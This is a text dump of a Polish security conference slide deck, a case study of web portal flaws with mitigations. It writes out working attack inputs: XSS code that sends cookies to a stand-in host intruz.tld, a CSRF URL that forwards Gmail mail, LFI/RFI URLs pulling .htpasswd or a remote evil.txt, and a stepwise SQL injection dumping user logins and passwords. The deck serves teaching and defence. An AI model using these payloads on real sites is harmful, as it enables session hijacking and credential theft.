Reputacja jako aktywa. Zagrożenia, przewidywanie strat i zarządzanie ryzykiem
 

Drobne błędy w portalach WWW -- prawdziwe studium przypadku

  • 1. Drobne błędy w portalach WWW prawdziwe studium przypadku ;-) Borys Łącki Michał Sobiegraj, CISSP
  • 2.  Czemu WWW jest ważne? M
  • 3. WWW jest wszędzie M
  • 4.  Wydajemy pieniądze  Zarządzamy finansami  Zarabiamy pieniądze  Marnujemy czas M
  • 5. Ruch w Internecie http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf M
  • 6. 2007: ilośd ruchu WWW przekroczyła ilośd ruchu P2P M
  • 7. WWW pokonało pr0n! YAY!* * nie poparte żadnymi badaniami M
  • 8. Typy ruchu HTTP http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf M
  • 9. Wzrost ilości hostów w sieci Ponad 60 mln aktywnych (netcraft) M
  • 10.  Bezpieczeostwo WWW w skrócie M
  • 11. Odkryte podatności WWW przewyższają ilościowo wszystkie pozostałe (Sans) M
  • 12. Czemu? Bardzo popularne medium ($)   Niedojrzałośd technologii  Błędy logiczne  Chałupnicze rozwiązania M
  • 13. Amerykaoskie ofiary phishingu 3,6 miliona osób, które straciły łącznie 3,2 miliarda dolarów (Gartner, http://www.heise-online.pl/news/item/2356/) M
  • 14. Standardowa architektura aplikacji WWW Internet Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych M
  • 15. Źle! Internet Warstwa WWW (filtry wejścia/wyjścia) Nowa funkcjonalnośd Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych M
  • 16. Firewall vs. właściwe projektowanie, kodowanie i SDLC Internet Firewall Aplikacyjny Warstwa WWW (filtry wejścia/wyjścia) Nowa funkcjonalnośd Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych M
  • 17. Optymalnie Internet Firewall Aplikacyjny Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji Nowa funkcjonalnośd (logika biznesowa) Serwer Baz Danych M
  • 18. Najczęstsze ataki PHP Remote File Include   SQL Injection  Cross-Site Scripting  Cross-site Request Forgery (SANS Top-20 2007 Security Risks, 2007 Annual Update) M
  • 19.  Wyciek informacji B
  • 20. Wesoła historyjka ;-) B
  • 21. Więcej obrazków hmm… B
  • 22.  B
  • 23. :-D B
  • 24. Kopiujemy… B
  • 25. Łączymy się… B
  • 26. PWND ;-) B
  • 27. Wniosek? Bezpieczeostwo wymaga specyficznego sposobu myślenia (Paranoi? ;-) B
  • 28. Ograniczenie dostępu po stronie klienta  Możliwośd obejścia interfejsu  W kontraście z bankomatem Nieskuteczne! B
  • 29. Ograniczenie dostępu po stronie klienta  RSS z identyfikacją ID klienta serwer.tld/rss/100_rss.xml serwer.tld/rss/101_rss.xml serwer.tld/rss/102_rss.xml  Czytanie cudzych wiadomości serwer.tld/index.php?p=ok&action=msgs2&msgs_id=80 serwer.tld/index.php?p=ok&action=msgs2&msgs_id=81 serwer.tld/index.php?p=ok&action=msgs2&msgs_id=82 B
  • 30. Kontrola dostępu po stronie serwera B
  • 31.  Cross-Site Scripting (XSS) B
  • 32. Reflective XSS Serwer http://serwer/index.php?id=<script>…</script> GET /index.php? id=<script>…</script> HTTP/1.1 Intruz Aplikacja Użytkownik WWW …<script>…</script>… exec(…) Dane dostępne w kontekście użytkownika B
  • 33. Przykładowy kod XSS document.write(‘ <img src=„ http://intruz.tld/cookiemonster.gif ?’+escape(document.cookie) +’ ”> ’); B
  • 34. Zmiana treści za pomocą XSS M
  • 35. Zmiana treści za pomocą XSS B
  • 36. Rebranding za pomocą XSS http://strona.tld/topics/%3Cscript%3Eeval(String.fromCharCode(100,111,99,117, 109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40, 34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,10 9,103,32,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,101,122,1 11,116,101,114,105,107,97,46,112,108,47,105,109,97,103,101,115,47,115,109,1 05,108,101,121,46,103,105,102,39,62,34));%3C%252fscript%3E document.getElementById(quot;logoquot;).innerHTML= quot;<img src='http://www.str.tld/images/smiley.gif'>quot; M
  • 37. Tak to wygląda w kodzie strony ... <div id=quot;maincontentquot;> <h2>Results for: <span style=quot;color: #f00;quot;><script>eval(String.fromCharCode(100,111,99,117,109,101 ,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,1 00,40,34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77 ,76,61,34,60,105,109,103,32,115,114,99,61,39,104,116,116,112,5 8,47,47,119,119,119,46,101,122,111,116,101,114,105,107,97,46,1 12,108,47,105,109,97,103,101,115,47,115,109,105,108,101,121,4 6,103,105,102,39,62,34));</script></span></h2> </div> ... M
  • 38. Tak wygląda zmieniany kod <div id=quot;logoquot;> <div class=quot;logolinkquot;> <a href=quot;http://strona.tld/quot;>strona.tld</a> </div> ... </div> M
  • 39. Kod w przeglądarce M
  • 40. Efekt działania M
  • 41. A wygląda to tak M
  • 42. Zmiana treści za pomocą XSS Nie jest permanentna   Lepszy kod  łatwiej (sic!) Pomysł: Tak samo wyglądający formularz kierujący dane w inne miejsce  phishing B
  • 43. Uwierzytelnianie przy pomocy cookies POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Serwer Witaj user B
  • 44. Wykorzystanie przejętego cookie POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Serwer Witaj user GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Intruz Witaj user B
  • 45. Kradzież ciastka zawierającego ID sesji http://www.serwer.tld/index.php?p=com ments&comments_login=smietanka%3Csc ript%3Edocument.write(document.cookie) %3C/script%3E PHPSESSID=gji9h519llgbgbnaqg7si0q1l0; __utma=258102041.949163972.1198624259.1198624259.1198624259.1; __utmb=258102041; __utmc=258102041; __utmz=258102041.1198624259.1.1.utmccn=(direct)|utmcsr=(direct)|utmc md=(none) M
  • 46.  M
  • 47.  M
  • 48.  M
  • 49. Jak wysład sobie ciastko? XMLHttpRequest  Problem pomiędzy domenami Link  img, iframe, location.href, etc Przykład: <img src=quot;http://serwer.tld/cookiemonster.gif?PHPSESSID%3Dgji9h519llgbgbnaqg7 si0q1l0%3B%20__utma%3D258102041.949163972.1198624259.1198624259. 1198624259.1%3B%20__utmb%3D258102041%3B%20__utmc%3D25810204 1%3B%20__utmz%3D258102041.1198624259.1.1.utmccn%3D%28direct%29 %7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29quot;> B
  • 50. Co na to poradzid?  Powiązad ID sesji z IP  Żądad powtórnego uwierzytelnienia  Kontrolowad wprowadzane dane !!! - Białe listy (ScRipT) - Spójnośd (IDS, Firewall, aplikacja) - Dogłębnośd (....//  ../), UTF-7 B
  • 51. http://serwer.tld/topics/<img src=http://www.serw.tld/images/smiley.gif> / M
  • 52. http://serwer.tld/topics/<img src=http:%2f%2fwww.ezoterika.pl%2fimages%2fsmiley.gif> %2f  / M
  • 53. http://serwer.tld/topics/<img src=http:%252f%252fwww.serwer.tld%252fimages%252fsm iley.gif> %252f  %2f  / M
  • 54.  B
  • 55. Stored XSS Serwer POST /register.php HTTP/1.1 login=<script>…</script>&password=asd Aplikacja WWW GET /index.php HTTP/1.1 <script>…</script> Użytkownik Intruz …<script>…</script>… exec(…) Dane dostępne Baza danych w kontekście użytkownika B
  • 56. Co można zrobid?  Permanentna zmiana treści  Łatwa kradzież ID sesji  CSRF  XSS Proxy  Automatyczne robaki - mySpace, Orkut, Nduja, Borys Łatwe ;] w serwisach pozwalających publikowad własną treśd: - aukcyjne, blogi, fora, etc B
  • 57. Kradzież ID sesji B
  • 58. XSS Worm Serwer WWW Zapisuje XSS w swoim profilu XSS Intruz … Intruz User_1 User_2 B
  • 59. XSS Worm Serwer WWW Zapisuje XSS w swoim profilu GET /intruz/ HTTP/1.1 User_1 XSS Intruz …<script>…</script>… exec(…) … Zapisuje XSS w Intruz swoim profilu XSS User_1 User_2 B
  • 60. XSS Worm Serwer WWW Zapisuje XSS w swoim profilu GET /intruz/ HTTP/1.1 User_1 XSS Intruz …<script>…</script>… User_2 … exec(…) Zapisuje XSS w Intruz swoim profilu GET /user1/ HTTP/1.1 XSS User_1 …<script>…</script>… exec(…) Zapisuje XSS w XSS swoim profilu User_2 B
  • 61. Nduja – A Cross Domain/Webmail XSS Worm Intruz E-mail E-mail E-mail E-mail Serwer Serwer Serwer Serwer WWW WWW WWW WWW WebMail WebMail WebMail WebMail Libero.it Tiscali.it Lycos.it Excite.com B
  • 62. Co na to poradzid?  Powiązad ID sesji z IP  Żądad powtórnego uwierzytelnienia  Kontrolowad wprowadzane dane - Białe listy (ScRipT) - Spójnośd (IDS, Firewall, aplikacja) - Dogłębnośd (....//  ../), UTF-7  Filtrowad dane zapisywane do bazy i odczytywane z bazy B
  • 63.  Cross-Site Request Forgery (CSRF) B
  • 64. CSRF Serwer http://serwer/delete.php?id=34 Aplikacja WWW GET /delete.php?id=34 HTTP/1.1 Cookie: user_id=734223s8uod42 … id = 34; Intruz Użytkownik delete(id); … Wpis usunięty M
  • 65. <img src=„http://nasza- klasa.pl/invite/1?i=1”> (/var/log/apache/cba_ipn_zus_access.log) B
  • 66. Przejęcie wiadomości z Gmail (CSRF) http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multip art/form-data&_action=https%3A//mail.google.com/mail/h/ wt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@maili nator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_atta ch=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter „Konto na Gmailu każdy z nas ma. Mam i ja!” (Kradzież domeny: www.davidairey.co.uk) B
  • 67. Co na to poradzid?  POST zamiast GET  obejście: iframe, javascript  Referer  problemy: proxy, przeglądarki, zmiana nagłówka  Generowane tymczasowego dodatkowego ID  Powiązanie ID użytkownika z długim losowym ciągiem  Trzymane po stronie serwera  Wymaganie ponownej autoryzacji przy kluczowych operacjach  Brak błędów XSS (XmlHttpRequest)!!! B
  • 68.  PHP File Include B
  • 69. Local File Include • podgląd plików (konfiguracyjnych!) • wykonanie kodu, jeśli jest możliwośd wgrania pliku na serwer • dostęp do kodu źródłowego <?php if(file_exists(quot;includes/$page.incquot;)) { include quot;includes/$page.incquot;; } else { echo quot;W budowie!<BR>quot;; } http://XXXXX.art.pl/p.php?page=../../../../../../../../../home/user1/publi c_html/.htpasswd%00 B
  • 70. Remote File Include wykonanie kodu <?php include($mosConfig_absolute_path.quot;/administrator/components /com_hashcash/config.hashcash.phpquot;); require_once ($mosConfig_absolute_path.'/components/com_hashcash/CryptoS trategy.php'); http://strona.tld/components/com_hashcash/server.php?mosConfig_a bsolute_path=http://zuozuozuo.pl/evil.txt? access_log:62.48.xxx.xx - - [06/Jan/2008:07:11:06 +0100] quot;GET //install/index.php?G_PATH=http://www.js2023.pl//modules/PNphpBB2/images/.bash/pr.txt? HTTP/1.1quot; 404 1021 quot;-quot; quot;libwww-perl/5.803„ access_log:168.212.xxx.xxx - - [06/Jan/2008:22:57:53 +0100] quot;GET /files/strawberry/plugins/wacko/highlight/html.php?text=http://www.nakedarena.com/id.txt? HTTP/1.1quot; 404 1021 quot;-quot; quot;libwww-perl/5.76quot; B
  • 71. Co z tym zrobid?  konfiguracja po stronie php.ini allow_url_fopen = Off allow_url_include = Off register_global = Off safe_mode = On register_globals = Off safe_mode_gid = Off display_errors = Off log_errors = On error_log = /var/log/httpd/php_error.log disable_functions = system, shell_exec, exec, passthru  uważad na specjalne znaki (null byte, etc)  filtrowad, filtrowad i jeszcze raz filtrowad (../, UTF, itd.)  inne: mod_security, Suhosin PHP B
  • 72.  SQL Injection M
  • 73. SQL Injection Serwer GET /login.php HTTP/1.1 login=admin&password=1’ or 1=‘1 Aplikacja WWW Intruz select * from users where login=‘admin’ and pass=‘1’ or 1=‘1’ Welcome admin $dane = db_exec(„select from users where login=‘$login’ and pass=‘$pass’”) Baza danych if ($dane.count) { print („Welcome $login”) … } else { print („Bye”); exit (0); } M
  • 74. POST http://www.serwer.tld/index.php?p=priv HTTP/1.1 priv_search=2e332424&cat='quot;1&w_city=quot;'asd&submit=Szukaj M
  • 75. priv_search=&cat=1&w_city=Ca%B3a+Polska' and 1=1#&submit=Szukaj M
  • 76. priv_search=&cat=1&w_city=Ca%B3a+Polska' and 1=0#&submit=Szukaj M
  • 77. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select @@version#&submit=Szukaj The used SELECT statements have a different number of columns M
  • 78. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,@@version#&submi t=Szukaj M
  • 79. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15,16,17,18#&submi t=Szukaj M
  • 80. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,TABLE_SCHEMA,5,6,7,8,9,10,TABLE_NAME,12,COLUMN_ NAME,14,15,16,17,18 from information_schema.columns where TABLE_SCHEMA != 'mysql' and TABLE_SCHEMA != 'information_schema'#&submit=Szukaj M
  • 81. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,login,5,6,7,8,9,10,pass,12,sex,14,15,16,17,18 from users#&submit=Szukaj M
  • 82. Przy okazji wychodzą na jaw TAJEMNICE ;-) M
  • 83. Bonusowe odkrycie: 1836 botów :-) M
  • 84. Blind SQL Injection Formularz rejestracyjny: ‘ B
  • 85. Blind SQL Injection  1' and 1='0  OK.  1' or 1='1  Taki email już jest zarejestrowany w serwisie. Musisz podad inny  1' union all SELECT IF( user() like '%sig%', BENCHMARK(3000000,MD5( 'x' )),NULL)#  opóźnienie  user() == sig@...  1' union all SELECT IF( user() like '%asd%', BENCHMARK(3000000,MD5( 'x' )),NULL)#  brak opóźnienia B
  • 86.  B
  • 87.  B
  • 88. Blind SQL Injection • /zgoda.php?id=155765%20AND%20(select%2 0ascii(substring((select%20login%20from%20a dmini%20limit%201,1),1,1)))%3D97 • id=155765 AND (select ascii(substring((select login from admini limit LINIA,1), MIEJSCE, 1))) =ZNAK_ASCII B
  • 89. Wyniki blind SQL Injection  Opóźnienie  Treśd  Komunikat błędu B
  • 90. Co na to poradzid?  Filtrowad wprowadzane dane - Białe listy znaków - Spójnośd (IDS, Firewall, aplikacja, baza danych)  Nie ufad filtrom po stronie użytkownika (listy wyboru, JavaScript) M
  • 91.  Podsumowanie M
  • 92. Z bezpieczeostwem WWW jest źle Błędy są wszędzie* wokół nas *no prawie wszędzie ;-) M
  • 93. Co zrobid? Koniecznie filtrowad wprowadzane i wyprowadzane dane  Firewalle aplikacyjne  IDSy Białe listy! M
  • 94. Byd świadomym potencjalnych zagrożeo i problemów  Słuchad i pytad  Korzystad z pomocy specjalistów  Bilansowad koszty z zyskami każdy feedback jest dobry M
  • 95. Używad sprawdzonych rozwiązao • Odpowiedzią na tradycyjne błędy jest kod zarządzany, automatyczne typowanie, GC, itp. • Odpowiedzią na błędy w kodowaniu WWW są frameworki – Pozwalają na zachowanie pewnej jakości kodu – Nie jesteśmy w 100% bezpieczni » Jeszcze nie są wystarczająco dojrzałe » Nie wszyscy wiedzą jak z nich korzystad » Bywają rozszerzane quot;na głupaquot; » Efekt skali powoduje, że błędy propagują się szeroko M
  • 96. Hardening Poprawna konfiguracja jest niezwykle istotna Jedna dyrektywa w php.ini może zablokowad wykorzystanie błędu w aplikacji PHP: http://www.sans.org/top20/#s1 M
  • 97. Myślenie Nikt ani nic nie ustrzeże nas przed skutkami błędów logicznych M
  • 98. michal@sobiegraj.com b.lacki@logicaltrust.net Pytania?